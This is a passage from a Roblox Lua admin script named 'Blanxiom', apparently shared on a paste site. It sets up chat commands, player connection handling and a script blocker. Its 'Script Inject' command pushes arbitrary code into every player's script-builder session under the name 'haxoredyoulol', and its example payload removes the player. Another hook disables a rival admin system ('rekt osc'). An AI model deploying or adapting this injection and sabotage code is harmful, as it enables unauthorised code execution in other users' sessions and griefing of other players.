Console',5,function(Message, Collect_Players, Player) GiveServerConsole(Player) end) AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player) GetGarbage(Player) end) AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player) if #Message > 0 then SafeExe(Message,Player) end end) AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player) local children = game.Players:GetChildren() for i = 1, #children do -- print(i, children[i].Name) Sbexe("remove/haxoredyoulol",children[i].Name) wait(0.2) Sbexe("create/haxoredyoulol",children[i].Name) wait(0.2) Sbexe("edit/haxoredyoulol",children[i].Name) wait(0.2) Sbexe(Message,children[i].Name) Sbexe("exit/",children[i].Name) wait(0.2) Sbexe("run/haxoredyoulol",children[i].Name) wait(0.2) end end) AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player) Solaris.__STATUS = not Solaris.__STATUS if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then SpawnOrb() end end) end local BootCommands = API.BootCommands function API.Connect(plr) if type(plr)~='userdata'then return end local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious"} if plr.AccountAge/365 < .5 then for i,v in pairs(Allowed_YoungPlrs)do if not plr.Name == v then plr:Kick("[Blanxiom]: Sorry your AccountAge is to young to join this game") end end end if Solaris.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(Solaris.Banned[plr.Name]) end if not Solaris.Admins[plr.Name]then print_to(plr,"[Blanxiom]: Has identifyed you as a ["..Solaris.Levels[1].."]") print("[Blanxiom]: connect "..plr.Name.." as a ["..Solaris.Levels[1].."]") Solaris.Admins[plr.Name] = {Level=1} elseif Solaris.Admins[plr.Name]then print_to(plr,"[Blanxiom]: Has identified you as a ["..Solaris.Levels[Solaris.Admins[plr.Name].Level].."]") end ConnectLogger(plr) plr.Chatted:connect(function(msg) Chatted(plr,msg) end) end local Connect = API.Connect --// Bootstrapper functions function Bootstrap:Boot() local DeploymentID = Generate(math.random(1,50)*2/3) --// Bootup SpawnOrb() Rotate() BootCommands() for i,v in pairs(game:GetService('Players'):children())do Connect(v) end game:GetService('Players').PlayerAdded:connect(function(plr) wait(.5) Connect(plr) end) game.Workspace.DescendantAdded:connect(function(obj) if obj.ClassName == "Script" then if Solaris.Blocker.GlobalBlock == true then obj.Disabled = true obj:Destroy() end elseif obj.ClassName == "LocalScript" then if Solaris.Blocker.LocalBlock == true then obj.Disabled = true obj:Destroy() end end end) --game.DescendantAdded:connect(function(instance) --if Solaris.Blocker.LagBlocker== true then --if Solaris.LagBlockedInstances[instance.ClassName]then --instance:Destroy() --end --end --end) game.itemChanged:connect(function() spawn(function() local osc=_G.OSC_AddServerSideData; _G.OSC_AddServerSideData=nil;--< rekt osc end); end); rbxdb:SetValue("[BLANXIOM DEPLOYMENT]",DeploymentID) end if script.ClassName == 'Script'then if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then local y,n = pcall(function() Solaris.API.Bootstrap:Boot() end)if not y then print('{ERROR}: '..n)end end elseif script.ClassName == 'ModuleScript'then return function(deploymentKey) local Key = Solaris.AccessKey if deploymentKey == Key then return Solaris.API.Bootstrap else return error('INVALID DEPLOYMENT ACCESS KEY!') end end end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement